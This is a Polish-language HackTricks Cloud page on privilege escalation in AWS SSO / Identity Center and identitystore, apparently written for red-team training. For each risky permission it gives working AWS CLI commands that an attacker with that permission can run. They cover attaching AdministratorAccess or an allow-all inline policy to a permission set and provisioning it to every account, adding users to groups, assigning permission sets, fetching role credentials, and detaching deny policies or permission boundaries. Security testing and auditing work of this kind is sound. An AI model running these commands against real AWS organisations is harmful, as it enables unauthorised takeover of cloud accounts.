AWS - SSO & identitystore Privesc

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

AWS Identity Center / AWS SSO

Aby uzyskać więcej informacji na temat AWS Identity Center / AWS SSO, sprawdź:

AWS - IAM, Identity Center & SSO Enum

Zauważ, że domyślnie tylko użytkownicy z uprawnieniami z Konta Zarządzającego będą mogli uzyskać dostęp i kontrolować IAM Identity Center. Użytkownicy z innych kont mogą to zrobić tylko, jeśli konto jest Delegowanym Administratorem. Sprawdź dokumentację, aby uzyskać więcej informacji.

Zresetuj hasło

Łatwym sposobem na eskalację uprawnień w takich przypadkach byłoby posiadanie uprawnienia, które pozwala na resetowanie haseł użytkowników. Niestety, możliwe jest tylko wysłanie e-maila do użytkownika w celu zresetowania jego hasła, więc potrzebujesz dostępu do e-maila użytkownika.

identitystore:CreateGroupMembership

Dzięki temu uprawnieniu możliwe jest dodanie użytkownika do grupy, aby mógł on dziedziczyć wszystkie uprawnienia, które ma grupa.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Napastnik z tym uprawnieniem mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Napastnik z tym uprawnieniem mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Napastnik z tymi uprawnieniami mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą.

Aby nadużyć tych uprawnień w tym przypadku, musisz znać nazwę zarządzanej przez klienta polityki, która znajduje się we WSZYSTKICH kontach, które będą dotknięte.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Napastnik z tym uprawnieniem mógłby przypisać Zestaw Uprawnień użytkownikowi pod jego kontrolą do konta.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Zwraca krótkoterminowe poświadczenia STS dla podanej nazwy roli przypisanej do użytkownika.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Jednak potrzebujesz tokena dostępu, którego nie jestem pewien, jak uzyskać (TODO).

sso:DetachManagedPolicyFromPermissionSet

Atakujący z tym uprawnieniem może usunąć powiązanie między zarządzaną polityką AWS a określonym zestawem uprawnień. Możliwe jest przyznanie większych uprawnień poprzez odłączenie zarządzanej polityki (polityka odmowy).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Napastnik z tym uprawnieniem może usunąć powiązanie między polityką zarządzaną przez klienta a określonym zestawem uprawnień. Możliwe jest przyznanie większych uprawnień poprzez odłączenie polityki zarządzanej (polityka odmowy).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Napastnik z tym uprawnieniem może usunąć uprawnienia z polityki inline z zestawu uprawnień. Możliwe jest przyznanie większych uprawnień poprzez odłączenie polityki inline (polityka odmowy).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Napastnik z tym uprawnieniem może usunąć Granicę Uprawnień z zestawu uprawnień. Możliwe jest przyznanie większych uprawnień poprzez usunięcie ograniczeń w Zestawie Uprawnień nadanych przez Granicę Uprawnień.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.